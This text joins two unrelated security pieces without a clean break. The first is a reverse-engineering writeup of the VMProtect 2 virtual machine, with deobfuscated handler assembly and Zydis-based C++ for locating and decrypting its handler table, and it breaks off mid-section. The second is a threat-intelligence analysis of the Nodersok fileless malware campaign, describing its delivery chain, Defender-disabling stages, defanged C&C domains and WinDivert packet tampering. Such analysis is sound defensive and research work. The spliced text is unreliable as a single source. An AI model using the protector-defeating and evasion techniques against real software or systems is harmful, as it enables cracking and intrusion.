VMProtect 2 encrypts its virtual instructions using a rolling decryption key. This key is located in RBX and is initially set to the address of the virtual instructions. The transformations done to decrypt operands consist of XOR, NEG, NOT, AND, ROR, ROL, SHL, SHR, ADD, SUB, INC, DEC, and BSWAP. When an operand is decrypted, the first transformation applied to the operand includes the rolling decryption key. Thus, only XOR, AND, ROR, ROL, ADD, and SUB are going to be the first transformation applied to the operand. Then, there are always three transformations directly applied to the operand. At this stage, the operand is completely decrypted and the value in RAX will hold the decrypted operand value. Lastly, the rolling decryption key is updated by transforming the rolling decryption key with the fully decrypted operand value. An example looks like this:
```
.vmp0:0000000140005A0A 30 D8 xor al, bl ; decrypt using rolling key...
.vmp0:0000000140005A11 F6 D8 neg al ; 1/3 transformations...
.vmp0:0000000140005A19 C0 C0 05 rol al, 5 ; 2/3 transformations...
.vmp0:0000000140005A26 FE C0 inc al ; 3/3 transformations...
.vmp0:0000000140005A2F 30 C3 xor bl, al ; update rolling key...
```
This above snippet of code decrypts the first operand, which is always the instruction's opcode. This code is part of the calc_jmp routine; however, the transformation format is the same for any second operands.
## VM Handlers - Specifications
VM handlers contain the native code to execute virtual instructions. Every VMProtect 2 binary has a vm handler table which is an array of 256 QWORD’s. Each entry contains an encrypted relative virtual address to the corresponding VM handler. There are many variants of virtual instructions such as different sizes of immediate values as well as sign and zero-extended values. This section will go over a few virtual instruction examples as well as some key information which must be noted when trying to parse VM handlers.
VM handlers which handle immediate values fetch the encrypted immediate value from RSI. The traditional five transformations are then applied to this encrypted immediate value. The transformation format follows the same as the calc_jmp transformations. The first transformation is applied to the encrypted immediate value with the rolling decryption key being the source of the operation. Then three transformations are applied directly to the encrypted immediate value, this decrypts the value fully. Lastly, the rolling decryption key is updated by doing the first transformation except with the destination and source operands swapped.
```
.vmp0:00000001400076D2 48 8B 06 mov rax, [rsi] ; fetch immediate value...
.vmp0:00000001400076D9 48 31 D8 xor rax, rbx ; rolling key transformation...
.vmp0:00000001400076DE 48 C1 C0 1D rol rax, 1Dh ; 1/3 transformations...
.vmp0:0000000140007700 48 0F C8 bswap rax ; 2/3 transformations...
.vmp0:000000014000770F 48 C1 C0 30 rol rax, 30h ; 3/3 transformations...
.vmp0:0000000140007714 48 31 C3 xor rbx, rax ; update rolling key...
```
Also note that vm handlers are subjected to opaque branching as well as deadstore obfuscation.
### LCONST - Load Constant Value Onto Stack
One of the most iconic virtual machine instructions is LCONST. This virtual instruction loads a constant value from the second operand of a virtual instruction onto the stack.
#### LCONSTQ - Load Constant QWORD
This is the deobfuscated view of LCONSTQ VM handler. As you can see, this VM handler reads the second operand of the virtual instruction out of VIP (RSI). It then decrypts this immediate value and advances VIP. The decrypted immediate value is then put onto the VSP.
```
mov rax, [rsi]
xor rax, rbx ; transformation
bswap rax ; transformation
lea rsi, [rsi+8] ; advance VIP…
rol rax, 0Ch ; transformation
inc rax ; transformation
xor rbx, rax ; transformation (update rolling decrypt key)
sub rbp, 8
mov [rbp+0], rax
```
#### LCONSTCDQE - Load Constant DWORD Sign Extended to a QWORD
This virtual instruction loads a DWORD size operand from RSI, decrypts it, and extends it to a QWORD, finally putting it on the virtual stack.
```
mov eax, [rsi]
xor eax, ebx
xor eax, 32B63802h
dec eax
lea rsi, [rsi+4] ; advance VIP
xor eax, 7E4087EEh
; look below for details on this...
push rbx
xor [rsp], eax
pop rbx
cdqe ; sign extend EAX to RAX…
sub rbp, 8
mov [rbp+0], rax
```
Note, this last vm handler updates the rolling decryption key by putting the value on the stack then applying the transformation. This is something that could cause significant problems when parsing these VM handlers. Luckily, there is a very simple trick to handle this; always remember that the transformation applied to the rolling key is the same transformation as the first. In the above case, it’s a simple XOR.
#### LCONSTCBW - Load Constant Byte Convert To Word
LCONSTCBW loads a constant byte value from RSI, decrypts it, and zero extends the result as a WORD value. This decrypted value is then placed upon the virtual stack.
```
movzx eax, byte ptr [rsi]
add al, bl
inc al
neg al
ror al, 0x06
add bl, al
mov ax, [rax+rdi*1]
sub rbp, 0x02
inc rsi
mov [rbp], ax
```
#### LCONSTCWDE - Load Constant Word Convert To DWORD
LCONSTCWDE loads a constant word from RSI, decrypts it, and sign extends it to a DWORD. Lastly, the resulting value is placed upon the virtual stack.
```
mov ax, [rsi]
add rsi, 0x02
xor ax, bx
rol ax, 0x0E
xor ax, 0xA808
neg ax
xor bx, ax
cwde
sub rbp, 0x04
mov [rbp], eax
```
#### LCONSTDW - Load Constant DWORD
LCONSTDW loads a constant DWORD from RSI, decrypts it, and lastly places the result upon the virtual stack. Also note that VIP advances backwards in the example below. You can see this in the operand fetch as it's subtracting from RSI prior to a dereference.
```
mov eax, [rsi-0x04]
bswap eax
add eax, ebx
dec eax
neg eax
xor eax, 0x2FFD187C
push rbx
add [rsp], eax
pop rbx
sub rbp, 0x04
mov [rbp], eax
add rsi, 0xFFFFFFFFFFFFFFFC
```
### LREG - Load Scratch Register Value Onto Stack
Let’s look at another VM handler, this one by the name of LREG. Just like LCONST, there are many variants of this instruction, especially for different sizes. LREG is also going to be in every single binary as it’s used inside of the VM to load register values into scratch registers. More on this later.
#### LREGQ - Load Scratch Register QWORD
LREGQ has a one-byte immediate value. This is the scratch register index. A pointer to scratch registers is always loaded into RDI. As described above, many times, there are five total transformations applied to the immediate value to decrypt it. The first transformation is applied from the rolling decryption key, followed by three transformations applied directly to the immediate value which fully decrypts it. Lastly, the rolling decryption key is updated by applying the first transformation on it with the decrypted immediate value as the source.
```
mov al, [rsi]
sub al, bl
ror al, 2
not al
inc al
sub bl, al
mov rdx, [rax+rdi]
sub rbp, 8
mov [rbp+0], rdx
inc rsi
```
#### LREGDW - Load Scratch Register DWORD
LREGDW is a variant of LREG which loads a DWORD from a scratch register onto the stack. It has two operands, the second being a single byte representing the scratch register index. The snippet of code below is a deobfuscated view of LREGDW.
```
mov al, [rsi]
sub al, bl
add al, 97h
ror al, 1
neg al
sub bl, al
mov edx, [rax+rdi]
sub rbp, 4
mov [rbp+0], edx
```
### SREG - Set Scratch Register Value
Another iconic virtual instruction which is in every single binary is SREG. There are many variants to this instruction which set scratch registers to certain sizes values. This virtual instruction has two operands, the second being a single byte immediate value containing the scratch register index.
#### SREGQ - Set Scratch Register Value QWORD
SREGQ sets a virtual scratch register with a QWORD value from on top of the virtual stack. This virtual instruction consists of two operands, the second being a single byte representing the virtual scratch register.
```
movzx eax, byte ptr [rsi]
sub al, bl
ror al, 2
not al
inc al
sub bl, al
mov rdx, [rbp+0]
add rbp, 8
mov [rax+rdi], rdx
```
#### SREGDW - Set Scratch Register Value DWORD
SREGDW sets a virtual scratch register with a DWORD value from on top of the virtual stack. This virtual instruction consists of two operands, the second being a single byte representing the virtual scratch register.
```
movzx eax, byte ptr [rsi-0x01]
xor al, bl
inc al
ror al, 0x02
add al, 0xDE
xor bl, al
lea rsi, [rsi-0x01]
mov dx, [rbp]
add rbp, 0x02
mov [rax+rdi*1], dx
```
#### SREGW - Set Scratch Register Value WORD
SREGW sets a virtual scratch register with a WORD value from on top of the virtual stack. This virtual instruction consists of two operands, the second being a single byte representing the virtual scratch register.
```
movzx eax, byte ptr [rsi-0x01]
sub al, bl
ror al, 0x06
neg al
rol al, 0x02
sub bl, al
mov edx, [rbp]
add rbp, 0x04
dec rsi
mov [rax+rdi*1], edx
```
#### SREGB - Set Scratch Register Value Byte
SREGB sets a virtual scratch register with a BYTE value from on top of the virtual stack. This virtual instruction consists of two operands, the second being a single byte representing the virtual scratch register.
```
mov al, [rsi-0x01]
xor al, bl
not al
xor al, 0x10
neg al
xor bl, al
sub rsi, 0x01
mov dx, [rbp]
add rbp, 0x02
mov [rax+rdi*1], dl
```
### ADD - Add Two Values
The virtual ADD instruction adds two values on the stack together and stores the result in the second value position on the stack. RFLAGS is then pushed onto the stack as the ADD instruction alters RFLAGS.
#### ADDQ - Add Two QWORD Values
ADDQ adds two QWORD values stored on top of the virtual stack. RFLAGS is also pushed onto the stack as the native ADD instruction alters flags.
```
mov rax, [rbp+0]
add [rbp+8], rax
pushfq
pop qword ptr [rbp+0]
```
#### ADDW - Add Two WORDS Values
ADDW adds two WORD values stored on top of the virtual stack. RFLAGS is also pushed onto the stack as the native ADD instruction alters flags.
```
mov ax, [rbp]
sub rbp, 0x06
add [rbp+0x08], ax
pushfq
pop [rbp]
```
#### ADDB - Add Two Bytes Values
ADDB adds two BYTE values stored on top of the virtual stack. RFLAGS is pushed onto the stack as the native ADD instruction alters flags.
```
mov al, [rbp]
sub rbp, 0x06
add [rbp+0x08], al
pushfq
pop [rbp]
```
### MUL - Unsigned Multiplication
The virtual MUL instruction multiplies two values stored on the stack together. These vm handlers use the native MUL instruction; additionally, RFLAGS is pushed onto the stack. Lastly, it is a single operand instruction which means there is no immediate value associated with this instruction.
#### MULQ - Unsigned Multiplication of QWORD’s
MULQ multiplies two QWORD values together; the result is stored on the stack at VSP+24. Additionally, RFLAGS is pushed onto the stack.
```
mov rax, [rbp+0x08]
sub rbp, 0x08
mul rdx
mov [rbp+0x08], rdx
mov [rbp+0x10], rax
pushfq
pop [rbp]
```
### DIV - Unsigned Division
The virtual DIV instruction uses the native DIV instruction; the top operands used in division are located on top of the virtual stack. This is a single operand virtual instruction thus there is no immediate value. RFLAGS is also pushed onto the stack as the native DIV instruction can also alter RFLAGS.
#### DIVQ - Unsigned Division Of QWORD’s
DIVQ divides two QWORD values located on the virtual stack. Push RFLAGS onto the stack.
```
mov rdx, [rbp]
mov rax, [rbp+0x08]
div [rbp+0x10]
mov [rbp+0x08], rdx
mov [rbp+0x10], rax
pushfq
pop [rbp]
```
### READ - Read Memory
The READ instruction reads memory of different sizes. There is a variant of this instruction to read one, two, four, and eight bytes.
#### READQ - Read QWORD
READQ reads a QWORD value from the address stored on top of the stack. This virtual instruction seems to sometimes have a segment prepended to it. However, not all READQ vm handlers have this associated with it.
```
mov rax, [rbp]
mov rax, ss:[rax]
mov [rbp], rax
```
#### READDW - Read DWORD
READDW reads a DWORD value from the address stored on top of the virtual stack. The DWORD value is then put on top of the virtual stack. Below are two examples of READDW, one which uses this segment index syntax and the other without it.
```
mov rax, [rbp]
add rbp, 0x04
mov eax, [rax]
mov [rbp], eax
```
Note the segment offset usage below with ss…
```
mov rax, [rbp]
add rbp, 0x04
mov eax, ss:[rax]
mov [rbp], eax
```
#### READW - Read Word
READW reads a WORD value from the address stored on top of the virtual stack. The WORD value is then put on top of the virtual stack. Below is an example of this vm handler using a segment index syntax; however, keep in mind there are vm handlers without this segment index.
```
mov rax, [rbp]
add rbp, 0x06
mov ax, ss:[rax]
mov [rbp], ax
```
### WRITE - Write Memory
The WRITE virtual instruction writes up to eight bytes to an address. There are four variants of this virtual instruction, one for each power of two up to and including eight. There are also versions of each vm handler which use a segment offset type instruction encoding. However, in long mode, some segment base addresses are zero. The segment that seems to always be used is the SS segment which has the base of zero; thus, the segment base has no effect here; it simply makes it a little more difficult to parse these vm handlers.
#### WRITEQ - Write Memory QWORD
WRITEQ writes a QWORD value to the address located on top of the virtual stack. The stack is incremented by 16 bytes.
```
.vmp0:0000000140005A74 48 8B 45 00 mov rax, [rbp+0]
.vmp0:0000000140005A82 48 8B 55 08 mov rdx, [rbp+8]
.vmp0:0000000140005A8A 48 83 C5 10 add rbp, 10h
.vmp0:00000001400075CF 48 89 10 mov [rax], rdx
```
#### WRITEDW - Write DWORD
WRITEDW writes a DWORD value to the address located on top of the virtual stack. The stack is incremented by 12 bytes.
```
mov rax, [rbp]
mov edx, [rbp+0x08]
add rbp, 0x0C
mov [rax], edx
```
Note the segment offset ss usage below…
```
mov rax, [rbp]
mov edx, [rbp+0x08]
add rbp, 0x0C
mov ss:[rax], edx ; note the SS usage here...
```
#### WRITEW - Write WORD
The WRITEW virtual instruction writes a WORD value to the address located on top of the virtual stack. The stack is then incremented by ten bytes.
```
mov rax, [rbp]
mov dx, [rbp+0x08]
add rbp, 0x0A
mov ss:[rax], dx
```
#### WRITEB - Write Byte
The WRITEB virtual instruction writes a BYTE value to the address located on top of the virtual stack. The stack is then incremented by ten bytes.
```
mov rax, [rbp]
mov dl, [rbp+0x08]
add rbp, 0x0A
mov ss:[rax], dl
```
### SHL - Shift Left
The SHL vm handler shifts a value located on top of the stack to the left by a number of bits. The number of bits to shift is stored above the value to be shifted on the stack. The result is then put onto the stack as well as RFLAGS.
#### SHLCBW - Shift Left Convert Result To WORD
SHLCBW shifts a byte value to the left and zero extends the result to a WORD. RFLAGS is pushed onto the stack.
```
mov al, [rbp+0]
mov cl, [rbp+2]
sub rbp, 6
shl al, cl
mov [rbp+8], ax
pushfq
pop qword ptr [rbp+0]
```
#### SHLW - Shift Left WORD
SHLW shifts a WORD value to the left. RFLAGS is pushed onto the virtual stack.
```
mov ax, [rbp]
mov cl, [rbp+0x02]
sub rbp, 0x06
shl ax, cl
mov [rbp+0x08], ax
pushfq
pop [rbp]
```
#### SHLDW - Shift Left DWORD
SHLDW shifts a DWORD to the left. RFLAGS is pushed onto the virtual stack.
```
mov eax, [rbp]
mov cl, [rbp+0x04]
sub rbp, 0x06
shl eax, cl
mov [rbp+0x08], eax
pushfq
pop [rbp]
```
#### SHLQ - Shift Left QWORD
SHLQ shifts a QWORD to the left. RFLAGS is pushed onto the virtual stack.
```
mov rax, [rbp]
mov cl, [rbp+0x08]
sub rbp, 0x06
shl rax, cl
mov [rbp+0x08], rax
pushfq
pop [rbp]
```
#### SHLD - Shift Left Double Precision
The SHLD virtual instruction shifts a value to the left using the native instruction SHLD. The result is then put onto the stack as well as RFLAGS. There is a variant of this instruction for one, two, four, and eight byte shifts.
#### SHLDQ - Shift Left Double Precision QWORD
SHLDQ shifts a QWORD to the left with double precision. The result is then put onto the virtual stack and RFLAGS is pushed onto the virtual stack.
```
mov rax, [rbp]
mov rdx, [rbp+0x08]
mov cl, [rbp+0x10]
add rbp, 0x02
shld rax, rdx, cl
mov [rbp+0x08], rax
pushfq
pop [rbp]
```
#### SHLDDW - Shift Left Double Precision DWORD
The SHLDDW virtual instruction shifts a DWORD value to the left with double precision. The result is pushed onto the virtual stack as well as RFLAGS.
```
mov eax, [rbp]
mov edx, [rbp+0x04]
mov cl, [rbp+0x08]
sub rbp, 0x02
shld eax, edx, cl
mov [rbp+0x08], eax
pushfq
pop [rbp]
```
### SHR - Shift Right
The SHR instruction is the complement to SHL; this virtual instruction alters RFLAGS and thus the RFLAGS value will be on the top of the stack after executing this virtual instruction.
#### SHRQ - Shift Right QWORD
SHRQ shifts a QWORD value to the right. The result is put onto the virtual stack as well as RFLAGS.
```
mov rax, [rbp]
mov cl, [rbp+0x08]
sub rbp, 0x06
shr rax, cl
mov [rbp+0x08], rax
pushfq
pop [rbp]
```
#### SHRD - Double Precision Shift Right
The SHRD virtual instruction shifts a value to the right with double precision. There is a variant of this instruction for one, two, four, and eight byte shifts. The virtual instruction concludes with RFLAGS being pushed onto the virtual stack.
#### SHRDQ - Double Precision Shift Right QWORD
SHRDQ shifts a QWORD value to the right with double precision. The result is put onto the virtual stack. RFLAGS is then pushed onto the virtual stack.
```
mov rax, [rbp]
mov rdx, [rbp+0x08]
mov cl, [rbp+0x10]
add rbp, 0x02
shrd rax, rdx, cl
mov [rbp+0x08], rax
pushfq
pop [rbp]
```
#### SHRDDW - Double Precision Shift Right DWORD
SHRDDW shifts a DWORD value to the right with double precision. The result is put onto the virtual stack. RFLAGS is then pushed onto the virtual stack.
```
mov eax, [rbp]
mov edx, [rbp+0x04]
mov cl, [rbp+0x08]
sub rbp, 0x02
shrd eax, edx, cl
mov [rbp+0x08], eax
pushfq
pop [rbp]
```
### NAND - Not Then And
The NAND instruction consists of a NOT being applied to the values on top of the stack, followed by the result of this NOT being bitwise AND’d to the next value on the stack. The AND instruction alters RFLAGS thus, RFLAGS will be pushed onto the virtual stack.
#### NANDW - Not Then And WORD’s
NANDW NOT’s two WORD values then bitwise AND’s them together. RFLAGS is then pushed onto the virtual stack.
```
not dword ptr [rbp]
mov ax, [rbp]
sub rbp, 0x06
and [rbp+0x08], ax
pushfq
pop [rbp]
```
### READCR3 - Read Control Register Three
The READCR3 virtual instruction is a wrapper vm handler around the native `mov reg, cr3`. This instruction will put the value of CR3 onto the virtual stack.
```
mov rax, cr3
sub rbp, 0x08
mov [rbp], rax
```
### WRITECR3 - Write Control Register Three
The WRITECR3 virtual instruction is a wrapper vm handler around the native `mov cr3, reg`. This instruction will put a value into CR3.
```
mov rax, [rbp]
add rbp, 0x08
mov cr3, rax
```
### PUSHVSP - Push Virtual Stack Pointer
PUSHVSP virtual instruction pushes the value contained in native register RBP onto the virtual stack. There is a variant of this instruction for one, two, four, and eight bytes.
#### PUSHVSPQ - Push Virtual Stack Pointer QWORD
PUSHVSPQ pushes the entire value of the virtual stack pointer onto the virtual stack.
```
mov rax, rbp
sub rbp, 0x08
mov [rbp], rax
```
#### PUSHVSPDW - Push Virtual Stack Pointer DWORD
PUSHVSPDW pushes the bottom four bytes of the virtual stack pointer onto the virtual stack.
```
mov eax, ebp
sub rbp, 0x04
mov [rbp], eax
```
#### PUSVSPW - Push Virtual Stack Pointer WORD
PUSVSPW pushes the bottom WORD value of the virtual stack pointer onto the virtual stack.
```
mov eax, ebp
sub rbp, 0x02
mov [rbp], ax
```
### LVSP - Load Virtual Stack Pointer
This virtual instruction loads the virtual stack pointer register with the value at the top of the stack.
```
mov rbp, [rbp]
```
### LVSPW - Load Virtual Stack Pointer Word
This virtual instruction loads the virtual stack pointer register with the WORD value at the top of the stack.
```
mov bp, [rbp]
```
### LVSPDW - Load Virtual Stack Pointer DWORD
This virtual instruction loads the virtual stack pointer register with the DWORD value at the top of the stack.
```
mov ebp, [rbp]
```
### LRFLAGS - Load RFLAGS
This virtual instruction loads the native flags register with the QWORD value at the top of the stack.
```
push [rbp]
add rbp, 0x08
popfq
```
### JMP - Virtual Jump Instruction
The virtual JMP instruction changes the RSI register to point to a new set of virtual instructions. The value at the top of the stack is the lower 32 bits of the RVA from the module base to the virtual instructions. This value is then added to the top 32 bits of the image base value found in the optional header of the PE file. The base address is then added to this value.
```
mov esi, [rbp]
add rbp, 0x08
lea r12, [0x0000000000048F29]
mov rax, 0x00 ; image base bytes above 32 bits...
add rsi, rax
mov rbx, rsi ; update decrypt key
add rsi, [rbp] ; add module base address
```
### CALL - Virtual Call Instruction
The virtual call instruction takes an address from the top of the virtual stack and then calls it. RDX is used to hold the address so you can only really call functions with a single parameter using this.
```
mov rdx, [rbp]
add rbp, 0x08
call rdx
```
## Significant Virtual Machine Signatures - Static Analysis
Now that VMProtect 2’s virtual machine architecture has been documented, we can reflect on the significant signatures. In addition, the obfuscation that VMProtect 2 generates can also be handled with quite simple techniques. This can make parsing the vm_entry routine trivial. vm_entry has no legit JCC’s, so every time we encounter a JCC, we can simply follow it, remove the JCC from the instruction stream, then stop once we hit a JMP RCX/RDX. We can remove most deadstore by following how an instruction is used with Zydis, specifically tracking read and write dependencies on the destination register of an instruction. Finally, with the cleaned up vm_entry, we can now iterate through all of the instructions and find vm handlers, transformations required to decrypt vm handler table entries, and lastly the transformations required to decrypt the relative virtual address to the virtual instructions pushed onto the stack prior to jumping to vm_entry.
### Locating VM Handler Table
One of the best, and most well-known signatures is `LEA r12, vm_handlers`. This instruction is located inside of the vm_entry snippet of code and loads the linear virtual address of the vm handler table into R12. Using Zydis, we can easily locate and parse this LEA to locate the vm handler table ourselves.
```cpp
std::uintptr_t* vm::handler::table::get(const zydis_routine_t& vm_entry)
{
const auto result = std::find_if(
vm_entry.begin(), vm_entry.end(),
[](const zydis_instr_t& instr_data) -> bool
{
const auto instr = &instr_data.instr;
// lea r12, vm_handlers... (always r12)...
if (instr->mnemonic == ZYDIS_MNEMONIC_LEA &&
instr->operands[0].type == ZYDIS_OPERAND_TYPE_REGISTER &&
instr->operands[0].reg.value == ZYDIS_REGISTER_R12 &&
!instr->raw.sib.base) // no register used for the sib base...
return true;
return false;
}
);
if (result == vm_entry.end())
return nullptr;
std::uintptr_t ptr = 0u;
ZydisCalcAbsoluteAddress(&result->instr,
&result->instr.operands[1], result->addr, &ptr);
return reinterpret_cast<std::uintptr_t*>(ptr);
}
```
The above Zydis routine will locate the address of the VM handler table statically. It only requires a vector of ZydisDecodedInstructions, one for each instruction in the vm_entry routine. My implementation of this (vmprofiler) will deobfuscate vm_entry first then pass around this vector.
### Locating VM Handler Table Entry Decryption
You can easily, programmatically determine what transformation is applied to VM handler table entries by first locating the instruction which fetches entries from said table. This instruction is documented in the vm_entry section; it consists of a SIB instruction with RDX or RCX as the destination, R12 as the base, RAX as the index, and eight as the scale.
```
.vmp0:0000000140005A41 49 8B 14 C4 mov rdx, [r12+rax*8]
```
This is easily located using Zydis. All that must be done is locate a SIB mov instruction with RCX or RDX as the destination, R12 as the base, RAX as the index, and lastly eight as the index. Now, using Zydis, we can find the next instruction with RDX or RCX as the destination; this instruction will be the transformation applied to VM handler table entries. |
# Bring Your Own LOLBin: Multi-stage, Fileless Nodersok Campaign Delivers Rare Node.js-based Malware
September 26, 2019
We’ve discussed the challenges that fileless threats pose in security, and how Microsoft Defender Advanced Threat Protection (Microsoft Defender ATP) employs advanced strategies to defeat these sophisticated threats. Part of the slyness of fileless malware is their use of living-off-the-land techniques, which refer to the abuse of legitimate tools, also called living-off-the-land binaries (LOLBins), that already exist on machines through which malware can persist, move laterally, or serve other purposes.
But what happens when attackers require functionality beyond what’s provided by standard LOLBins? A new malware campaign we dubbed Nodersok decided to bring its own LOLBins—it delivered two very unusual, legitimate tools to infected machines:
- Node.exe, the Windows implementation of the popular Node.js framework used by countless web applications
- WinDivert, a powerful network packet capture and manipulation utility
Like any LOLBin, these tools are not malicious or vulnerable; they provide important capabilities for legitimate use. It’s not uncommon for attackers to download legitimate third-party tools onto infected machines (for example, PsExec is often abused to run other tools or commands). However, Nodersok went through a long chain of fileless techniques to install a pair of very peculiar tools with one final objective: turn infected machines into zombie proxies.
While the file aspect of the attack was very tricky to detect, its behavior produced a visible footprint that stands out clearly for anyone who knows where to look. With its array of advanced defensive technologies, Microsoft Defender ATP defeated the threat at numerous points of dynamic detection throughout the attack chain.
## Attack Overview
The Nodersok campaign has been pestering thousands of machines in the last several weeks, with most targets located in the United States and Europe. The majority of targets are consumers, but about 3% of encounters are observed in organizations in sectors like education, professional services, healthcare, finance, and retail.
The campaign is particularly interesting not only because it employs advanced fileless techniques, but also because it relies on an elusive network infrastructure that causes the attack to fly under the radar. We uncovered this campaign in mid-July, when suspicious patterns in the anomalous usage of MSHTA.exe emerged from Microsoft Defender ATP telemetry. In the days that followed, more anomalies stood out, showing up to a ten-fold increase in activity.
After a process of tracking and analysis, we pieced together the infection chain. Like the Astaroth campaign, every step of the infection chain only runs legitimate LOLBins, either from the machine itself (mshta.exe, powershell.exe) or downloaded third-party ones (node.exe, Windivert.dll/sys). All of the relevant functionalities reside in scripts and shellcodes that are almost always coming in encrypted, are then decrypted, and run while only in memory. No malicious executable is ever written to the disk.
This infection chain was consistently observed in several machines attacked by the latest variant of Nodersok. Other campaigns (possibly earlier versions) with variants of this malware (whose main JavaScript payload was named 05sall.js or 04sall.js) were observed installing malicious encoded PowerShell commands in the registry that would end up decoding and running the final binary executable payload.
## Initial Access: Complex Remote Infrastructure
The attack begins when a user downloads and runs an HTML application (HTA) file named Player1566444384.hta. The digits in the file name differ in every attack. Analysis of Microsoft Defender ATP telemetry points to compromised advertisements as the most likely infection vector for delivering the HTA files. The mshta.exe tool (which runs when an HTA file runs) was launched with the -embedding command-line parameter, which typically indicates that the launch action was initiated by the browser.
Furthermore, immediately prior to the execution of the HTA file, the telemetry always shows network activity towards suspicious advertisement services (which may vary slightly across infections), and a consistent access to legitimate content delivery service Cloudfront. Cloudfront is not a malicious entity or service, and it was likely used by the attackers exactly for that reason: because it’s not a malicious domain, it won’t likely raise alarms. Examples of such domains observed in several campaigns include:
- d23cy16qyloios[.]cloudfront[.]net
- d26klsbste71cl[.]cloudfront[.]net
- d2d604b63pweib[.]cloudfront[.]net
- d3jo79y1m6np83[.]cloudfront[.]net
- d1fctvh5cp9yen[.]cloudfront[.]net
- d3cp2f6v8pu0j2[.]cloudfront[.]net
- dqsiu450ekr8q[.]cloudfront[.]net
It’s possible that these domains were abused to deliver the HTA files without alerting the browser. Another content delivery service abused later on in the attack chain is Cdn77. Some examples of observed URLs include:
- hxxps://1292172017[.]rsc[.]cdn77[.]org/images/trpl[.]png
- hxxps://1292172017[.]rsc.cdn77[.]org/imtrack/strkp[.]png
This same strategy was also used by the Astaroth campaign, where the malware authors hosted their malware on the legitimate storage.googleapis.com service.
## First-stage JavaScript
When the HTA file runs, it tries to reach out to a randomly named domain to download additional JavaScript code. The domains used in this first stage are short-lived: they are registered and brought online and, after a day or two (the span of a typical campaign), they are dropped and their related DNS entries are removed. This can make it more difficult to investigate and retrieve the components that were delivered to victims. Examples of domains observed include:
- Du0ohrealgeek[.]org – active from August 12 to 14
- Hi5urautopapyrus[.]org – active from April 21 to 22
- Ex9ohiamistanbul[.]net – active from August 1 to 2
- Eek6omyfilmbiznetwork[.]org – active from July 23 to 24
This stage is just a downloader: it tries to retrieve either a JavaScript or an extensible style language (XSL) file from the command-and-control (C&C) domain. These files have semi-random names like 1566444384.js and 1566444384.xsl, where the digits are different in every download. After this file is downloaded and runs, it contacts the remote C&C domain to download an RC4-encrypted file named 1566444384.mp4 and a decryption key from a file named 1566444384.flv. When decrypted, the MP4 file is an additional JavaScript snippet that starts PowerShell.
Interestingly, it hides the malicious PowerShell script in an environment variable named “deadbeef” (first line), then it launches PowerShell with an encoded command (second line) that simply runs the contents of the “deadbeef” variable. This trick, which is used several times during the infection chain, is usually employed to hide the real malicious script so that it does not appear in the command-line of a PowerShell process.
## Second-stage PowerShell
Nodersok’s infection continues by launching several instances of PowerShell to download and run additional malicious modules. All the modules are hosted on the C&C servers in RC4-encrypted form and are decrypted on the fly before they run on the device. The following steps are perpetrated by the various instances of PowerShell:
- Download module.avi, a module that attempts to:
- Disable Windows Defender Antivirus
- Disable Windows updates
- Run binary shellcode that attempts elevation of privilege by using auto-elevated COM interface
- Download additional modules trpl.png and strkp.png hosted on a Cdn77 service
- Download legitimate node.exe tool from the official nodejs.org website
- Drop the WinDivert packet capture library components WinDivert.dll, WinDivert32.sys, and WinDivert64.sys
- Execute a shellcode that uses WinDivert to filter and modify certain outgoing packets
- Finally, drop the JavaScript payload along with some Node.js modules and libraries required by it, and run it via node.exe
This last JavaScript is the actual final payload written for the Node.js framework that turns the device into a proxy. This concludes the infection, at the end of which the network packet filter is active and the machine is working as a potential proxy zombie. When a machine turns into a proxy, it can be used by attackers as a relay to access other network entities (websites, C&C servers, compromised machines, etc.), which can allow them to perform stealthy malicious activities.
## Node.js-based Proxy Engine
This is not the first threat to abuse Node.js. Some cases have been observed in the past (for example, this ransomware from early 2016). However, using Node.js is a peculiar way to spread malware. Besides being clean and benign, Node.exe also has a valid digital signature, allowing a malicious JavaScript to operate within the context of a trusted process. The JavaScript payload itself is relatively simple: it only contains a set of basic functions that allows it to act as a proxy for a remote entity.
The code seems to be still in its infancy and in development, but it does work. It has two purposes:
1. Connect back to the remote C&C
2. Receive HTTP requests to proxy back to it
It supports the SOCKS4A protocol. While we haven’t observed network requests coming from attackers, we wrote what the Node.js-based C&C server application may look like: a server that sends HTTP requests to the infected clients that connect back to it, and receives the responses from said clients. We slightly modified the malicious JavaScript malware to make it log meaningful messages, ran a JavaScript server, ran the JavaScript malware, and it proxied HTTP requests as expected.
## 05sall.js: A Variant of Nodersok
As mentioned earlier, there exist other variants of this malware. For example, we found one named 05sall.js (possibly an earlier version). It’s similar in structure to the one described above, but the payload was not developed in Node.js (rather it was an executable). Furthermore, beyond acting as a proxy, it can run additional commands such as update, terminate, or run shell commands.
The malware can also process configuration data in JSON format. For example, this configuration was encoded and stored in the registry in an infected machine. The configuration is an indication of the modular nature of the malware. It shows the names of two modules being used in this infection (named block_av_01 and all_socks_05).
## The WinDivert Network Packet Filtering
At this point in the analysis, there is one last loose end: what about the WinDivert packet capture library? We recovered a shellcode from one of the campaigns. This shellcode is decoded and run only in memory from a PowerShell command. It installs the following network filter (in a language recognized by WinDivert):
This means Nodersok is intercepting packets sent out to initiate a TCP connection. Once the filter is active, the shellcode is interested only in TCP packets that match the following specific format:
The packet must have standard Ethernet, IP, and 20 bytes TCP headers, plus an additional 20 bytes of TCP extra options. The options must appear exactly in the order shown in the image above:
- 02 04 XX XX – Maximum segment size
- 01 – No operation
- 03 03 XX – Windows Scale
- 04 02 – SACK permitted
- 08 0A XX XX XX XX XX XX XX XX – Time stamps
If packets matching this criterion are detected, Nodersok modifies them by moving the “SACK Permitted” option to the end of the packet (whose size is extended by four bytes), and replacing the original option bytes with two “No operation” bytes.
It’s possible that this modification benefits the attackers; for example, it may help evade some HIPS signatures.
## Stopping the Nodersok Campaign with Microsoft Defender ATP
Both the distributed network infrastructure and the advanced fileless techniques allowed this campaign to fly under the radar for a while, highlighting how having the right defensive technologies is of utmost importance in order to detect and counter these attacks in a timely manner.
If we exclude all the clean and legitimate files leveraged by the attack, all that remains are the initial HTA file, the final Node.js-based payload, and a bunch of encrypted files. Traditional file-based signatures are inadequate to counter sophisticated threats like this. We have known this for quite a while, that’s why we have invested a good deal of resources into developing powerful dynamic detection engines and delivering a state-of-the-art defense-in-depth through Microsoft Defender ATP.
Machine learning models in the Windows Defender Antivirus client generically detect suspicious obfuscation in the initial HTA file used in this attack. Beyond this immediate protection, behavioral detection and containment capabilities can spot anomalous and malicious behaviors, such as the execution of scripts and tools. When the behavior monitoring engine in the client detects one of the more than 500 attack techniques, information like the process tree and behavior sequences are sent to the cloud, where behavior-based machine learning models classify files and identify potential threats.
